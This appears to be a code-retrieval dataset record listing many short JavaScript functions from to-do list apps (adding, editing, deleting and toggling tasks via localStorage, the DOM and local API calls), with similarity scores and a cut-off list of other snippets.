allTasksFromMemory = JSON.parse(localStorage.getItem(\"tasks\"));\r\n for (let i = 0; i < allTasksFromMemory.length; i++) {\r\n if (allTasksFromMemory[i].id == currentlySelectedTask.id) {\r\n allTasksFromMemory[i].taskText = textInput.value;\r\n }\r\n }\r\n localStorage.setItem(\"tasks\", JSON.stringify(allTasksFromMemory));\r\n\r\n currentlySelectedTask.querySelector(\".taskText\").innerHTML = textInput.value;\r\n\r\n textInput.value = \"\";\r\n footerVisibilitySwitch(\"default\");\r\n}", "function addTask(input_todo) {\n let todo_list = document.getElementById(\"todo_list\");\n \n addButton(\"check\", todo_list);\n \n let li = addListItem(todo_list);\n \n // Assign the value to the new item\n li.innerHTML = input_todo;\n\n // Store the task in localStorage\n localStorage.setItem(\"index\", index++);\n localStorage.setItem(\"task\" + index, li);\n\n addButton(\"delete_item\", todo_list);\n}", "async handleDeleteTask(task) {\n let removeIndex = this.state.tasks.findIndex((t) => (task.id === t.id));\n\n let oldTasks = Array.from(this.state.tasks);\n let newTasks = this.state.tasks.concat();\n newTasks.splice(removeIndex, 1);\n\n // provisional update of state to reflect deletion before request has been sent\n await this.setState({\n tasks: newTasks,\n undoContent: oldTasks,\n undoType: 'deleted'\n });\n\n // if undo button has been pressed, don't send deletion request and revert state instead\n let undoTimer = setTimeout(async () => {\n if (this.state.confirmDelete) {\n await Helpers.fetch(`/api/tasks/${task.id}`, {\n method: 'DELETE'\n });\n } else {\n await this.setState({\n tasks: this.state.undoContent,\n });\n }\n\n await this.setState({\n undoContent: null,\n undoType: null,\n confirmDelete: true\n });\n }, 3000);\n\n this.setState({\n undoTimer: undoTimer\n });\n }", "function removeTask(e) {\n // Clicking on the delete button causes the removal of that list item\n if (e.target.parentElement.classList.contains('delete-item')){\n e.target.parentElement.parentElement.remove();\n removeLocalStorage(e.target.parentElement.parentElement.textContent);\n // Refresh the list to mirror local storage contents as all duplicates are removed\n getTasks(e);\n }\n e.preventDefault();\n}", "function deleteTask()\n {\n var child = this.parentNode.parentNode;\n var parent = child.parentNode;\n parent.removeChild(child);\n var id= parent.id;\n var value = child.innerText;\n if (id == \"taskList\")\n {\n obj.taskListArr.splice(obj.taskListArr.indexOf(value), 1);\n }\n else \n {\n obj.taskCompletedArr.splice(obj.taskCompletedArr.indexOf(value), 1);\n } \n dataStorageUpdt();\n }", "edit(todo) {\n this.editTodo = todo.content;\n todo.isEdited = true;\n }", "function addTask(task) {\n let newTask = document.createElement(\"li\");\n let taskText = document.createElement(\"label\");\n let delBtn = document.createElement(\"button\");\n let editBtn = document.createElement(\"button\");\n let checkBox = document.createElement(\"input\");\n\n newTask.setAttribute(\"data-task-id\", task.idNum);\n newTask.setAttribute(\"draggable\", true);\n // taskText.setAttribute(\"contenteditable\", true);\n checkBox.type = \"checkbox\";\n\n // taskText.addEventListener(\"click\", editText);\n delBtn.addEventListener(\"click\", removeHandler);\n editBtn.addEventListener(\"click\", editHandler);\n checkBox.addEventListener(\"change\", checkBoxHandler);\n\n // Draggable Listeners\n newTask.addEventListener(\"dragstart\", dragStart);\n newTask.addEventListener(\"dragend\", dragEnd);\n\n // Adding appropriate classes to each element\n taskText.classList.add(\"lbl\");\n newTask.classList.add(\"new-task\");\n newTask.classList.add(\"draggable\");\n delBtn.classList.add(\"del-btn\");\n editBtn.classList.add(\"edit-btn\");\n checkBox.classList.add(\"check-box\");\n\n delBtn.appendChild(document.createTextNode(\"Delete\"));\n editBtn.appendChild(document.createTextNode(\"Edit\"));\n taskText.appendChild(document.createTextNode(task.text));\n\n // Appending each element to document\n document.querySelector(\"body > section > ul\").appendChild(newTask);\n newTask.appendChild(checkBox);\n newTask.appendChild(taskText);\n newTask.appendChild(editBtn);\n newTask.appendChild(delBtn);\n}", "function createTask(name, date, priority, container, id, taskIsComplete, details) {\n const taskId = id;\n const task = createNewElement(container, 'li', 'user-tasks', '');\n const taskDetails = createNewElement(container, 'div', 'task-details', '', details);\n let taskDetailsVisible = false;\n const taskLeftSide = createNewElement(task, 'div', '', 'task-left-side');\n const taskRightSide = createNewElement(task, 'div', '', 'task-right-side');\n const taskPriority = createNewElement(\n taskLeftSide,\n 'div',\n '',\n 'task-priority-checked',\n );\n const taskCheckbox = createNewElement(\n taskLeftSide,\n 'span',\n 'material-icons',\n '',\n 'radio_button_unchecked',\n );\n const taskDesc = createNewElement(taskLeftSide, 'div', '', 'task-desc', name);\n const taskDueDate = createNewElement(\n taskRightSide,\n 'div',\n '',\n 'task-due-date',\n date,\n );\n const taskEdit = createNewElement(\n taskRightSide,\n 'span',\n 'material-icons',\n '',\n 'edit',\n );\n const taskDelete = createNewElement(\n taskRightSide,\n 'span',\n 'material-icons',\n '',\n 'delete',\n );\n\n taskEdit.setAttribute('id', 'task-edit-span');\n taskDelete.setAttribute('id', 'task-edit-span');\n\n function setPriority(element) {\n if (element === 'low') {\n taskPriority.setAttribute('id', 'task-priority-low');\n } else if (element === 'medium') {\n taskPriority.setAttribute('id', 'task-priority-medium');\n } else if (element === 'high') {\n taskPriority.setAttribute('id', 'task-priority-high');\n } else {\n taskPriority.setAttribute('id', 'task-priority');\n }\n }\n setPriority(priority);\n\n function toggleTask(bool) {\n if (bool === true) {\n taskCheckbox.textContent = 'check_circle';\n taskDesc.setAttribute('id', 'task-desc-checked');\n taskDueDate.setAttribute('id', 'task-due-date-checked');\n taskPriority.setAttribute('id', 'task-priority-checked');\n } else {\n taskCheckbox.textContent = 'radio_button_unchecked';\n taskDesc.setAttribute('id', 'task-desc');\n taskDueDate.setAttribute('id', 'task-due-date');\n setPriority(priority);\n }\n }\n toggleTask(taskIsComplete);\n\n task.addEventListener('click', (event) => {\n if (event.target !== taskCheckbox && event.target !== taskDelete && event.target !== taskEdit) {\n if (taskDetailsVisible === false) {\n taskDetails.style.display = 'block';\n taskDetailsVisible = true;\n } else {\n taskDetails.style.display = 'none';\n taskDetailsVisible = false;\n }\n }\n });\n\n taskCheckbox.addEventListener('click', () => {\n let taskStatus = false;\n if (taskCheckbox.textContent === 'radio_button_unchecked') {\n taskStatus = true;\n }\n User.changeTaskStatus(taskId, taskStatus);\n toggleTask(taskStatus);\n });\n\n taskDelete.addEventListener('click', () => {\n const taskContainer = document.querySelector('#task-container');\n const projectId = User.projectList[User.currentProjectIndex].id;\n User.removeTaskFromList(taskId);\n displayTasks(User.projectList, taskContainer, createTask, projectId);\n });\n\n taskEdit.addEventListener('click', () => {\n const popUpContainer = document.querySelector('#pop-up-container');\n const titleInput = document.querySelector('#title-input');\n const detailsInput = document.querySelector('#details-input');\n const dateInput = document.querySelector('#due-date-input');\n const low = document.querySelector('#priority-low');\n const medium = document.querySelector('#priority-medium');\n const high = document.querySelector('#priority-high');\n // calls the function that will show the task info on the pop-up form\n User.showTaskInfo(\n taskId,\n popUpContainer,\n titleInput,\n detailsInput,\n dateInput,\n low,\n medium,\n high,\n );\n });\n}", "function addTask(event) {\n\tevent.preventDefault();\n\tvar array = ['Title', 'Name', 'Description'];\n\tfor (i=0;i < array.length;i++) {\n\t\tdocument.getElementById('add' + array[i]).value = '';\n\t}\n\tif(form.style.display == \"block\") {\n\t\tform.style.display = \"none\";\n\t} else {\n\t\tpanel.style.display = 'none';\n\t\tform.style.display = \"block\";\n\t\tvar add = document.createElement('a');\n\t\tfunction setAttributes(el, attrs) {\n\t\t for(var key in attrs) {\n\t\t el.setAttribute(key, attrs[key]);\n\t\t }\n\t\t}\n\t\tsetAttributes(add, {\"href\": \"#\", \"id\": \"saveTask\", \"class\": \"todo__btn\"});\n\t\tadd.innerHTML = 'Save changes';\n\t\tform.insertBefore(add, form.children[4]);\n\t}\n\tdocument.getElementById('saveTask').addEventListener('click', saveTask);\n}", "function AddTask()\n{\n\t// get to do item from user input\n\tvar name = document.getElementsByName('task')[0].value;\n\n\tif(name == \"\") {\n\t\talert('Please enter task name.');\n\t\treturn;\n\t}\n\n\tvar status = false;\n\tvar completeDate = \"\";\n\n\t// create new task\n\tvar newTask = new task(name, status, completeDate);\n\t// add new task to list\n\ttodos.push(newTask);\n\t\t\n\t//update view\n\tthis.view();\n}", "deleteTask(taskId) {\n let newTasks = [];\n this.tasks.forEach(task => {\n if (task.id !== taskId) {\n newTasks.push(task);\n }\n });\n this.tasks = newTasks;\n }", "function toggleTodo(event) {\n // this funciton gets called when somebody clicks a todo\n // and the click event gets triggered.\n event.preventDefault();\n\n // if it's already marked as done let's unmark it (remove class done)\n // if it's pending let's mark it as done (add class done)\n event.target.classList.toggle(\"done\");\n\n // let's get the id of that todo from the element\n // that was clicked\n var todoId = event.target.getAttribute(\"id\");\n\n // the id has this form \"todo-1\", we only care about\n // the number, so let's extract it\n var id = todoId.split(\"-\")[1];\n\n // get the todo from the repository, the id is a tring and find\n // accepts a number, so let's convert it to a number.\n // Find returns a list, if find... well... finds the todo\n // it will return a list with only one todo.\n // So let's extract the todo from the list\n var todo = global.TodoRepository.find(Number(id))[0];\n\n // if it's already marked as done let's unmark it\n // if it's pending let's mark it as done\n todo.complete = !todo.complete;\n\n // don't create a new one, just update the existing one\n global.TodoRepository.save(todo, false);\n\n // print (update) the todo list on the screen!\n render();\n }", "addTask() {\n const input = qs('#addTask');\n saveTask(input.value, this.key);\n this.showList();\n }", "function deleteTask(task) {\n var position = toDoList.indexOf(task);\n if (position > -1) {\n return toDoList.splice(position, 1);\n }\n else {\n console.log(\"task is not in our list!\");\n }\n}", "function editTask(event){\n\n //gets button id\n let id = event.target.id;\n idGlobal = id;\n\n //gets task position from button id\n let taskPosition = id.replace(/\\D/g,'');\n\n document.getElementById(\"edit-box-title\").innerHTML = \"Editting task #\" + taskPosition;\n\n //Puts current task text on edit text input\n document.getElementById(\"edit-task-entry-box\").value = taskArr[taskPosition-1].text;\n\n //shows edit task box\n document.getElementById(\"edit-box-bg\").style.display = \"block\"; \n\n}", "function removeTask(span, task){\n span.onclick = function(){\n if(task.classList.value === \"checked\"){\n var index = myTaskList.completed.indexOf(task);\n myTaskList.completed.splice(index, 1);\n updateTaskList();\n }\n if(task.classList.value === \"\"){\n var index = myTaskList.incomplete.indexOf(task);\n myTaskList.incomplete.splice(index, 1);\n updateTaskList();\n }\n }\n}", "function updateTask(event) {\n //obtengo el li que contiene el checkbox correspondiente, para ello tengo que subir en el arbol de nodos al label -> div -> li (tres parentNode)\n const taskUpdate = event.target.parentNode.parentNode.parentNode;\n taskUpdate.classList.toggle('completed');\n\n const taskList = getTaskListStorage();\n const task = taskList.find(task => task.id === parseInt(event.target.dataset.id));\n\n task.status = !task.status;\n localStorage.setItem('tasklist', JSON.stringify(taskList));\n\n}", "function editTask(id, newName) {\n const editedTaskList = tasks.map((task) => {\n // if this task has the same ID as the edited task\n if (id === task.id) {\n // Save the new name\n task.title = newName;\n // Update the DB\n todoListService\n .updateTask(id, task)\n .then((response) => console.log(response.data.message))\n .catch((error) => console.error(error));\n return { ...task, title: newName };\n }\n // Return the new updated task\n return task;\n });\n // Set the updated task\n setTasks(editedTaskList);\n }", "function updateTask(message) {\r\n\r\n var project = Y.postmile.gpostmile.projects[message.project];\r\n var task = project.tasks[message.task];\r\n Y.assert(task.id === message.task);\r\n\r\n function gotTask(response, myArg) {\r\n\r\n if (response && response._networkRequestStatusCode && response._networkRequestStatusCode === 200) {\r\n\r\n // can't wholesale replace task as there's other fields such as details\r\n // (or repoint task we'd have to go back and repoint other objects and arrays w refs)\r\n task.created = response.modified;\r\n task.modified = response.created;\r\n task.participants = response.participants || [];\r\n Y.assert(!task.project || task.project === response.project);\r\n task.status = response.status;\r\n task.title = response.title;\r\n Y.assert(task.id === response.id);\r\n // leave other fields alone, like task.details\r\n // got to process to get some fields that come with GET TASKS like participantCount and isParticipant\r\n task.participantsCount = task.participants.length;\r\n task.isParticipant = false;\r\n var c, l;\r\n for (/*var*/c = 0, l = task.participants.length; c < l; c++) {\r\n if (task.participants[c] === Y.postmile.gpostmile.profile.id) {\r\n task.isMe = true;\r\n break;\r\n }\r\n }\r\n\r\n if (project.id === Y.postmile.gpostmile.project.id) {\t// it's acticve on the UI\r\n\r\n var tasksNode = Y.one('#tasks');\r\n var taskNode = tasksNode.one('.task[task=\"' + task.id + '\"]');\r\n var html = Y.postmile.templates.taskListHtml(task, taskNode);\r\n taskNode.replace(html);\r\n taskNode = tasksNode.one('.task[task=\"' + task.id + '\"]'); // need to reget the node after replace\r\n Y.postmile.tasklist.showUpdatedAgo(taskNode, true);\r\n Y.fire('postmile:changedBy', 'Task changed', message.by, taskNode);\r\n }\r\n\r\n } else {\r\n\r\n Y.log('error getting task for stream update ' + JSON.stringify(response));\r\n\r\n }\r\n\r\n }\r\n\r\n getJson(\"/task/\" + task.id, gotTask);\r\n\r\n }", "deleteTask(taskId) {\n const newTasks = [];\n this.tasks.forEach((item) => {\n if (item.Id !== taskId) {\n newTasks.push(item);\n }\n });\n this.tasks = newTasks;\n }", "function addTodo(){\n\t\t\tself.todoList.push({task: self.text, done: false});\n\t\t\tself.text = null;\n\t\t}", "function deleteTask(event)\n{\n //gets button id\n let id = event.target.id;\n\n //gets task position from button id\n let taskPosition = id.replace(/\\D/g,'');\n\n //removes task from task array\n taskArr.splice(taskPosition - 1, 1); \n\n //loop through task array to adjust position\n for(let i = 0; i < taskArr.length; i++)\n {\n taskArr[i].position = i + 1;\n };\n\n //rewrites task list\n rewritesList();\n}", "function edit_task_mode_click (task_id){\n\n if (mode_task_on == 0){\n\n var button= document.getElementById(\"edit_mode_task\").className = \"fas fa-md fa-fw fa-edit text-gray-100\";\n var div_button = document.getElementsByClassName(\"right_icon_edit\")[0];\n div_button.style.backgroundColor = '#3A3B45';\n mode_task_on =1;\n approve_appear(\"Edit task mode is ON\");\n var description = document.getElementById(\"task_desc\");\n description.setAttribute(\"contenteditable\", true);\n var name = document.getElementById(\"task_name\");\n name.setAttribute(\"contenteditable\", true);\n var task_date = document.getElementById(\"task_date\");\n task_date.setAttribute(\"contenteditable\", true);\n\n }\n else {\n var button= document.getElementById(\"edit_mode_task\").className = \"fas fa-md fa-fw fa-edit text-gray-900\";\n var div_button = document.getElementsByClassName(\"right_icon_edit\")[0];\n div_button.style.backgroundColor = '#f8f9fc';\n mode_task_on =0;\n var description = document.getElementById(\"task_desc\");\n description.setAttribute(\"contenteditable\", false);\n var name = document.getElementById(\"task_name\");\n name.setAttribute(\"contenteditable\", false);\n var task_date = document.getElementById(\"task_date\");\n task_date.setAttribute(\"contenteditable\", false);\n\n post_update_task(name.innerHTML, description.innerHTML, task_date.innerHTML, task_id);\n }\n\n}", "function addTask() {\n // Create task\n let newTask;\n \n // Get task name from form\n taskName = $(\"#task-input\").val()\n\n // Add caracteristics to newTask\n newTask = new Task(taskName, false, tasks.length);\n\n // Add task to list of tasks\n tasks.push(newTask);\n\n // Reset value of field\n $(\"#task-input\").val(\"\")\n updateUI();\n\n}", "function check_task(task_id, status) {\n fetch(`/check/${task_id}`, {\n method: 'PUT',\n body: JSON.stringify({\n checked: status\n })\n })\n var check_task = document.getElementById(`task-item-${task_id}`);\n check_task.remove();\n }", "function updateTask(index, newDesc) {\n // gets todos from local storage\n const todos = _store__WEBPACK_IMPORTED_MODULE_0__.default.getTasks();\n // sets new description in respective index\n todos[index].description = newDesc;\n // sets new todos to storage\n _store__WEBPACK_IMPORTED_MODULE_0__.default.setTasks(todos);\n}", "function addTask() {\n console.log('addTask called')\n if (!!taskInputValue) { // makes sure that taskInputValue is not blank\n setToDoArray(toDoArray.concat(taskInputValue))\n setTaskInputValue('')\n }\n }", "function validEditTask(task) {\n return Boolean(\n task.name || task.due_date || task.description || task.completed,\n );\n}", "function editTask(event){\n const header = event.target.parentElement;\n const task = header.parentElement;\n const id = Number(task.getAttribute(\"data-id\"));\n const val = database.getField(id);\n val.onsuccess = () => {\n const {key, title, description} = val.result;\n var editTitle = document.getElementById(\"editTitle\");\n editTitle.setAttribute(\"value\",title);\n\n var editDescription = document.getElementById(\"editDescription\");\n editDescription.innerHTML = description;\n }\n modal.style.display = \"block\";\n var saveChange = document.querySelector(\"#btnsave\");\n saveChange.setAttribute(\"data-id\",id);\n saveChange.onclick = changeTask;\n }", "saveTaskClickHandler(task) {\n var newTasks = [];\n\n // if task already exists, call update service, else call add service\n newTasks = typeof task.taskId !== \"undefined\" ? this.taskManagerService.updateTask(task) : this.taskManagerService.addTask(task);\n\n this.setState({\n tasks: newTasks\n });\n }", "function showTodoList(todoTask) {\n // Persisting the todo tasklists\n localStorage.setItem('todoListRef', JSON.stringify(todoListArray));\n\n // Get todo list task\n const todoList = document.querySelector('.js-todolist');\n\n // Get current todo list task\n const currentTask = document.querySelector(`[data-key=\"${todoTask.id}\"]`);\n console.log(currentTask);\n\n const isTicked = todoTask.ticked ? 'ticked' : '';\n const liNode = document.createElement('li');\n liNode.setAttribute('class', `todo-task ${isTicked}`);\n liNode.setAttribute('data-key', todoTask.id);\n liNode.innerHTML = `\n <input id=\"${todoTask.id}\" type=\"checkbox\" class=\"input-ticklist js-ticklist\"/>\n <label for=\"${todoTask.id}\"></label>\n <span class=\"todo-task-text\">${todoTask.text}</span>\n <button class=\"delete-todo-task js-delete-todo-task\">Delete</button>\n `;\n if (todoTask.ticked) {\n // Get input node from li node which is in the 0th position\n const inputNode = liNode.children[todoTask.id];\n inputNode.setAttribute(\"checked\", \"checked\");\n }\n\n // Replace the current task it is already existed else append to the end of the list\n if (currentTask) {\n todoList.replaceChild(liNode, currentTask);\n\n } else {\n todoList.append(liNode);\n }\n\n // Delete todo task\n if (todoTask.deleted) {\n // remove the item from the DOM\n liNode.remove();\n return\n }\n}", "function removeTask(e) {\n\n const elementValue = e.target.parentNode.getElementsByTagName(\"p\")[0].innerHTML;\n \n const tasksArray = Array.from(getLocalStorageTasks());\n\n tasksArray.forEach(task => {\n if (task == elementValue) {\n const filteredArray = tasksArray.filter(item => item != elementValue);\n \n setLocalStorage(filteredArray);\n\n // we need to fetch done tasks from local storage\n // then copy the elements + add the completed one\n // set new array to localStorage complete tasks\n //setCompleteTasksLocalStorage()\n refreshTasks();\n }\n })\n}", "function deleteNewTask(e){\r\n const item = e.target;\r\n \r\n if(item.classList[0] === 'btnDelete'){\r\n const todo = item.parentElement;\r\n todo.remove();\r\n }\r\n if(item.classList[0] === 'imp-task'){\r\n \r\n item.classList.toggle('fas');\r\n }\r\n}", "function updateTask(e){ \n e.preventDefault();\n const taskTitle = document.querySelector('.task-title').value;\n const taskID = document.getElementById('id').value;\n if(taskTitle.trim()=== ''){\n ui.showAlertMessage('Please enter valid information','alert alert-danger');\n }else{\n const updatedTask = {\n title : taskTitle,\n complete: false,\n }\n http\n .update(`http://localhost:3000/Tasks/${taskID}`, updatedTask)\n .then(task => {\n //clearing form field\n ui.clearFiled();\n //showing message\n ui.showAlertMessage('Task updated successfully','alert alert-success');\n //getting data\n getTasks();\n });\n }\n}", "function removeTask(elem) {\n elem.parentNode.parentNode.removeChild(elem.parentNode);\n LIST[elem.id].trash = true;\n}", "function editItem(id) {\n\t\t[...todo].map((item) => {\n\t\t\tif (item.id === id) {\n\t\t\t\tfetch(`http://127.0.0.1:3010/tasks/${id}`, {\n\t\t\t\t\tmethod: 'PUT',\n\t\t\t\t\theaders: { 'Content-Type': 'application/json' },\n\t\t\t\t\tbody: JSON.stringify({ id: item.id, text: editText, completed: item.completed, tag: item.tag, lastMod: new Date().getTime(), displayDate: new Date().toLocaleString(), outOfTime: item.outOfTime, alarm: item.alarm })\n\t\t\t\t}).then((resp) => resp.json())\n\t\t\t\t\t.then((data) => { console.log(data) });\n\t\t\t\twindow.location.reload()\n\n\t\t\t}\n\t\t\treturn item\n\t\t})\n\t\tsetEdit(null)\n\t\tsetEditText('')\n\t}", "function printNewTask(task) {\r\n var newTaskDom = document.querySelector(\"#tasks\");\r\n var newTaskList = document.createElement(\"LI\");\r\n var newTaskListText = document.createTextNode(task.task);\r\n var newTaskSpan = document.createElement(\"SPAN\");\r\n var newTaskSpanClass = document.createAttribute(\"CLASS\");\r\n newTaskSpanClass.value = \"deleteTask\";\r\n newTaskSpan.setAttributeNode(newTaskSpanClass);\r\n var newTaskListClass = document.createAttribute(\"CLASS\");\r\n newTaskListClass.value = task.id;\r\n newTaskList.setAttributeNode(newTaskListClass);\r\n newTaskList.appendChild(newTaskListText);\r\n newTaskList.appendChild(newTaskSpan);\r\n newTaskDom.appendChild(newTaskList);\r\n newTaskList.addEventListener(\"click\", function(e) {\r\n e.preventDefault();\r\n e.target.classList.toggle(\"done\");\r\n });\r\n newTaskSpan.addEventListener(\"click\", function(e) {\r\n e.stopPropagation();\r\n if (e.target.parentElement.classList.contains(\"done\")) {\r\n\r\n var key = e.target.parentElement.classList[0];\r\n tasks = tasks.filter(function(task) {\r\n return task.id != key;\r\n });\r\n taskLen.innerHTML = tasks.length;\r\n var parent = e.target.parentElement;\r\n parent.parentElement.removeChild(parent);\r\n } else {\r\n alert(\"Are you sure you want to remove this item? Note:You have to mark it as done before removing an item\");\r\n }\r\n });\r\n }", "addTask() {\n\t\tif (taskTitle.value !== undefined && taskTitle.value !== '') {\n\t\t\t//This next line adds the newly defined goal to an array of goals created in this session\n\t\t\tnewTaskList.push(taskTitle.value);\n\t\t\tconsole.log(`New Task List: ${newTaskList}`); //Goals are stored correctly\n\t\t\tthis.addTaskDOM(taskTitle.value, false);\n\t\t\tfetch('/items', {\n\t\t\t\tmethod: 'POST',\n\t\t\t\theaders: {\n\t\t\t\t 'Accept': 'application/json',\n\t\t\t\t 'Content-Type': 'application/json'\n\t\t\t\t},\n\t\t\t\t body: JSON.stringify({\n\t\t\t\t\t title: taskTitle.value, \n\t\t\t\t\t goal_id: userGoals.goals[userGoals.goalIndex].id\n\t\t\t\t\t})\n\t\t\t })\n\t\t\t .then(res => res.json())\n\t\t\t .then(res => {\n\t\t\t\t userGoals.goals[userGoals.goalIndex].items.push(res);\n\t\t\t\t this.setId(res.id);\n\t\t\t\t})\n\t\t\t .catch(error => console.error(error));\n\n\t\t\ttaskTitle.value = '';\n\t\t\t\n\t\t\tcloseTaskForm();\n\t\t}\n\t\telse{\n\t\t\talert('Please enter new tasktitle');\n\t\t}\n\t\t// this.edit();\n\t}", "toggleTask(id,event){ \n //actualizando atributo done en la tarea o li seleccionado\n let newTask1 = this.state.tasks.map(task=>{\n\t\t\t\t\t\t\t\t\t\t\t if (task.id === id)\n\t\t\t\t\t\t\t\t\t\t\t {task.done = !task.done \n\t\t\t\t\t\t\t\t\t\t\t return task}\n\t\t\t\t\t\t\t\t\t\t\t \treturn task\n\t\t\t\t\t\t\t\t\t\t\t })\n //actualizando el arreglo tasks con los cambios en la tarea o li seleccionado\n\tthis.setState({tasks:newTask1}); \n\n\t// this.state.tasks.map((task)=>(task.id===id)?alert(id):null) //encuentra el id donde se hace click\n\t// alert(this.state.tasks.findIndex(task => task.name=\"Leer un rato\")); //encontrar una tarea con nombre específico\n // alert((this.state.tasks.map((task, index) =>task.id))); //muestra todos los id\n\t}", "function updateTasks() {\n\n let toDoContainer = allTasks.filter(t => t['status'] == 'toDoContainer');\n update('toDoContainer', toDoContainer);\n\n let progress = allTasks.filter(t => t['status'] == 'progress');\n update('progress', progress);\n\n let testing = allTasks.filter(t => t['status'] == 'testing');\n update('testing', testing);\n\n let done = allTasks.filter(t => t['status'] == 'done');\n update('done', done); \n}" ]
[ "0.73496795", "0.7305256", "0.72564936", "0.7220472", "0.7193132", "0.7164653", "0.7143978", "0.7103357", "0.7061997", "0.7050229", "0.70225406", "0.7011967", "0.70061785", "0.69797677", "0.6959739", "0.6959226", "0.6950139", "0.6943665", "0.6930478", "0.6921438", "0.6919685", "0.6918719", "0.69126934", "0.6909436", "0.69069195", "0.6876682", "0.68659055", "0.68598133", "0.6845641", "0.6834931", "0.68237054", "0.6819455", "0.6814943", "0.68070245", "0.68027663", "0.67814237", "0.6772281", "0.67681265", "0.6763599", "0.6762527", "0.6760071", "0.6745607", "0.67339593", "0.6729049", "0.6713731", "0.6713576", "0.6711", "0.6694105", "0.66870266", "0.6685067", "0.6683126", "0.6680754", "0.6675011", "0.6665463", "0.66636693", "0.6663498", "0.66596913", "0.66497016", "0.6641138", "0.66316545", "0.6623903", "0.662367", "0.66225845", "0.6621064", "0.66145825", "0.66128623", "0.6610891", "0.66102815", "0.66098505", "0.66058886", "0.6603402", "0.65967065", "0.65948904", "0.65937567", "0.6588997", "0.65878254", "0.6583403", "0.6579974", "0.65735525", "0.6567577", "0.656269", "0.6556221", "0.6553517", "0.65530133", "0.65519106", "0.6550695", "0.65494496", "0.6546929", "0.6545694", "0.65416515", "0.65404147", "0.6539554", "0.65371734", "0.653639", "0.65291595", "0.65269434", "0.65267915", "0.65230924", "0.65206474", "0.65146327", "0.6514496" ]
0.0
-1
Refresh the contents of the banners table
function refresh_banners(){ //Load banners table $("#all_banners").load(base_url+"admin/webcomic_banners_table",function(response,status,xhr){ //Run on success if(status != "error"){ //To trigger toggle buttons //Ref: http://stackoverflow.com/questions/32586384/bootstrap-toggle-doesnt-work-after-ajax-load $("[data-toggle='toggle']").bootstrapToggle('destroy'); $("[data-toggle='toggle']").bootstrapToggle(); } }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function refreshTables() {\n\n\t\t$(\"#biomatcher-data-table\").html(\"<table id='biomatcher-data-table' class='table table-striped'><tr><th>Subject ID</th><th>Oligo Name</th><th>Oligo Seq</th><th>Mismatch Tolerance</th><th>Hit Coordinates</th></tr></table>\");\n\t}", "function refreshTable(){\n $('.mbot_stats_holder').load('mbot_stats_table.php', function(){\n setTimeout(refreshTable, 5000);\n });\n}", "function refreshTable() {\n debug(base.options.dataSourceType);\n $(base.$el_body.find('.sibdatatable-spin')).show();\n base.$el_body_content.hide();\n switch (base.options.dataSourceType) {\n case 'remote':\n getTableDataFromRemote();\n break;\n case 'html':\n getTableDataFromHtml();\n break;\n case 'json':\n getTableDataFromJSON();\n break;\n }\n }", "function updateTable() {\n var rowCount = 5;\n if(pageId == 'page-screen')\n rowCount = 8;\n\n // Build the new table contents\n var html = '';\n for(var i = getGuessesCount() - 1; i >= Math.max(0, getGuessesCount() - rowCount); i--) {\n html += \"<tr>\";\n html += \"<td>\" + (i + 1) + \"</td>\\n\";\n html += \"<td>\" + guesses[i].firstName + \"</td>\";\n html += \"<td>\" + guesses[i].weight + \" gram</td>\";\n html += \"</tr>\";\n }\n\n // Set the table contents and update it\n $(\"#guess-table > tbody\").html(html);\n $(\"#guess-table\").table(\"refresh\");\n }", "function updateTableBanner(tableID){\n $(\".table-title\").css('display','block');\n var tableHeaderText = $(tableID).parent().parent().parent().prev().children().first().children().text();\n $(\".table-title\").text(tableHeaderText);\n var bannerImages = [\n [\"#table-0\", \"assets/images/banner0.jpg\", \"#3F6292\"],\n [\"#table-1\", \"assets/images/banner1.jpg\", \"#D57967\"],\n [\"#table-2\", \"assets/images/banner2.jpg\", \"#AABE8D\"],\n [\"#table-3\", \"assets/images/banner3.jpg\", \"#F2E2BC\"],\n [\"#table-4\", \"assets/images/banner4.jpg\", \"#CA546A\"],\n [\"#table-5\", \"assets/images/banner5.jpg\", \"#55a1b8\"],\n ];\n for (var x in bannerImages) {\n if (bannerImages[x][0] == tableID){\n var matchingImage = bannerImages[x][1];\n $(\"#banner-img\").css('background-image',`url('${matchingImage}')`);\n $(\"#banner-img\").css('background-color', bannerImages[x][2]);\n }\n }\n}", "function refreshBanner(s) {\n var headerIH = $(s.header).innerHeight();\n \n /* Resize */\n $(s.banner).realHeight(headerIH);\n $(s.banner).children(\"div\").realHeight($(s.banner).innerHeight());\n \n /* Replace */\n $(s.banner).css(\n \"top\", \n (headerIH - $(s.banner).outerHeight(true)) / 2 + \"px\"\n );\n}", "function loadTable() {\n\tif (hiddenCmd.dispatch) {\n\t\thiddenCmd.dispatch(\"refresh\");\n\t} else {\n\t\tsetTimeout(loadTable, 1000);\n\t}\n}", "function refreshData(){\r\n\t\tvar myTable=$('#'+settings.table_id);\r\n\t\tmyTable.empty();\r\n\t\tmyTable.addClass('table');\r\n\t\tmyTable.addClass('table-bordered');\r\n\t\tmyTable.addClass('table-striped');\r\n\t\tmyTable.addClass('table-hover');\r\n\t\t//add head table\r\n\t\tvar head=$(\"<thead></thead>\");\r\n\t\thead.append('<tr>\t\t\t\t<th class=\"buttons\" colspan=\"12\"></th>\t\t\t\t</tr>');\r\n\t\tvar tr='<tr>';\r\n\t\tfor(var i=0;i<settings.table_columns.length;i++){\r\n\t\t\ttr+='<th class=\"header\" title=\"'+settings.table_columns[i]+'\"><a href=\"#\">'+settings.table_columns[i]+'</a><i style=\"float: right\"></i></th>';\r\n\t\t}\r\n\t\ttr+='</tr>';\r\n\t\thead.append(tr);\r\n\t\tmyTable.append(head);\r\n\t\t//add head row\r\n\t\tvar body=$('<tbody></tbody>');\r\n\t\tvar rows=[];\r\n\t\tvar start=0;\r\n\t\tvar end=settings.table_data.length;\r\n\t\tif(settings.paging){\r\n\t\t\tstart=(settings.page-1)*settings.page_items;\r\n\t\t\tend=start+settings.page_items;\r\n\t\t\tif(end>settings.table_data.length){\r\n\t\t\t\tend=settings.table_data.length;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor(var i=start;i<end;i++){\r\n\t\t\tvar row_data=settings.table_data[i];\r\n\t\t\tvar tr='<tr>';\r\n\t\t\tfor(var j=0;j<row_data.length;j++){\r\n\t\t\t\t//format columns\t\t\t\t\r\n\t\t\t\tif(settings.columns_format[j]=='number'){\r\n\t\t\t\t\ttr+='<td align=\"right\">'+accounting.formatNumber(row_data[j])+'</td>';\r\n\t\t\t\t}else\r\n\t\t\t\tif(settings.columns_format[j]=='%'){\r\n\t\t\t\t\ttr+='<td 